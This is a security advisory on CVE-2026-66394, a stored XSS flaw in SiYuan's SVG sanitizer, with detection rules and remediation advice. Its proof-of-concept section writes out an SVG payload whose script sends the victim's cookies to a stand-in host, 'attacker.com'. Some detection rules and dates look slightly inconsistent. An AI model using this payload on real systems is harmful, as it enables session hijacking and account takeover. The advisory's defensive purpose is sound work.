CVE-2026-66394

PATCH_DORKS: Upgrade to SiYuan v3.7.3 or later

Executive Summary

CVE-2026-66394 is a stored and reflected cross-site scripting vulnerability in the SiYuan note-taking application (versions prior to 3.7.3). The flaw resides in the SVG sanitization logic: the HTML parser treats certain elements (desc, style, noscript) as raw text, allowing attackers to hide script tags inside SVG files. When these SVGs are served with Content-Type: image/svg+xml, browsers interpret the malicious content as executable SVG, leading to script execution in the application's origin.

The vulnerability requires authentication and attacker-controlled content upload, but the impact is significant: an authenticated attacker can inject persistent XSS payloads that execute when other users view the note. No public proof‑of‑concept or exploit code has been published at this time.

CVSS Breakdown & Threat Level

Note: Official CVSS vector is not provided; the above is a reasonable assessment based on the description.

Deep Dive & Mechanics

SiYuan uses an HTML parser–based cleaner to strip malicious scripts from uploaded SVG content. The parser incorrectly treats <desc>, <style>, and <noscript> elements as raw text containers—meaning it does not parse or clean their contents. When the SVG is later served with MIME type image/svg+xml, the browser renders the SVG as an interactive document. Script tags hidden inside these elements are then executed in the context of the SiYuan origin.

Root cause:

• The sanitizer relies on an HTML parser that does not recognize the SVG namespace, thus ignoring raw‑text elements.
• The web server does not enforce strict Content‑Type verification or Content‑Security‑Policy headers that could mitigate script execution.

Attack flow:

1. Attacker logs into SiYuan.
2. Creates a note or uploads an SVG file.
3. Injects a payload like:
   <svg xmlns="http://www.w3.org/2000/svg"><desc><script>alert(document.cookie)</script></desc></svg>
4. The sanitizer sees <script> inside <desc> and does not remove it.
5. When any user (including other authenticated users) views the note, the SVG is served as image/svg+xml and the script executes.

Vulnerable vs. Patched Code

Vulnerable behavior (SiYuan < 3.7.3):

• The sanitizer only scans for <script> tags at the top level of HTML parsing.
• It does not recursively check the content of raw‑text elements, allowing script injection.

Patched behavior (SiYuan >= 3.7.3):

• The sanitizer now explicitly decodes and validates SVG elements, removing or escaping script content inside desc, style, noscript, and similar elements.
• Alternatively, the server may serve SVGs with Content-Type: text/plain or use a Content‑Security‑Policy that disallows inline scripts.

Since no official patch source is available, users should upgrade to v3.7.3 as per the vendor’s recommendation.

Exploitation & Lab Setup

Red Team (Proof‑of‑Concept)

No public exploit code is available. The following illustrates the attack vector for educational purposes.

1. Obtain an authenticated session (e.g., cookie).
2. Upload an SVG file via the note editor with the following content:

<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <desc>
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
  </desc>
</svg>

3. The sanitizer passes the SVG.
4. Share the note containing the SVG with the victim.
5. When the victim views the note, the script executes in their browser, exfiltrating session tokens or performing actions on their behalf.

Blue Team (Detection & Hardening)

• Static analysis: Scan uploaded SVG files for patterns like <script inside <desc>, <style>, <noscript>.
• WAF rules: Block requests containing image/svg+xml with <script inside raw‑text elements.
• Server hardening:
  • Serve all user‑uploaded SVGs with Content‑Disposition: attachment or Content‑Type: text/plain.
  • Implement strict Content‑Security‑Policy headers (e.g., script‑src 'none' for SVG content).
  • Use a dedicated SVG sanitizer library (e.g., DOMPurify when rendering client‑side).

Indicators of Compromise (IOCs)

• Network: HTTP responses with Content‑Type: image/svg+xml containing suspicious raw‑text elements.
• File system: SVG files containing <desc>, <style>, or <noscript> tags with embedded <script>.
• Logs:
  • Unusual outbound requests to external domains after note viewing.
  • Repeated attempts to upload SVGs with raw‑text elements.
• Example IOC regex (suricata):
  (script|javascript):.*<svg.*<(desc|style|noscript)>

Detection Engineering

YARA Rule

rule CVE_2026_66394_SVG_XSS {
   meta:
      description = "Detects SVG files with script inside raw-text elements (desc, style, noscript)"
      author = "Valters IT"
      date = "2025-03-04"
      reference = "CVE-2026-66394"
   strings:
      $svg_tag = "<svg"
      $script_tag = "<script"
      $desc_in = /(<desc>|<style>|<noscript>)/ nocase
   condition:
      $svg_tag and $script_tag and $desc_in
}

Sigma Rule

title: CVE-2026-66394 – SiYuan SVG Stored XSS
id: 5a3e8c71-0b0d-4a89-99f2-3c7919071a9c
status: experimental
description: Detects upload of SVG files containing raw-text elements with script content in SiYuan web application logs.
logsource:
   product: http
   service: access_log
detection:
   selection:
      cs_uri_stem: "*.svg"
      cs_content_type: "image/svg+xml"
   keywords:
      - "<script"
      - "<desc>"
      - "<style>"
      - "<noscript>"
   condition: selection and keywords
falsepositives:
   - Legitimate uses of script inside SVG are rare; verify context.
level: high
tags:
   - attack.t1190
   - cve.2026-66394

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
   msg:"CVE-2026-66394 – SiYuan SVG XSS Attempt (desc/style/noscript)";
   flow:to_server,established;
   content:"image/svg+xml"; http_content_type;
   pcre:/(<svg.*<(desc|style|noscript)>.*<script)/i;
   tag:session,5,10;
   reference:cve,2026-66394;
   sid:10000001;
   rev:1;
)

Remediation & Mitigation

Immediate

• Upgrade SiYuan to version 3.7.3 or later.
• If upgrade is not possible, apply a WAF rule to block SVG uploads containing raw‑text elements with <script>.
• After upgrade, invalidate all existing user sessions to force re‑authentication.

Long‑term

• Implement a robust SVG sanitization pipeline using a library designed for XML/SVG (e.g., svg-sanitizer for Node.js).
• Serve all user‑uploaded SVG files with Content‑Disposition: attachment to prevent inline rendering.
• Enforce Content‑Security‑Policy header: default‑src 'self'; script‑src 'none';.
• Conduct regular code reviews of sanitization logic, especially for namespaced content.

Valters IT – Securing your digital boundaries.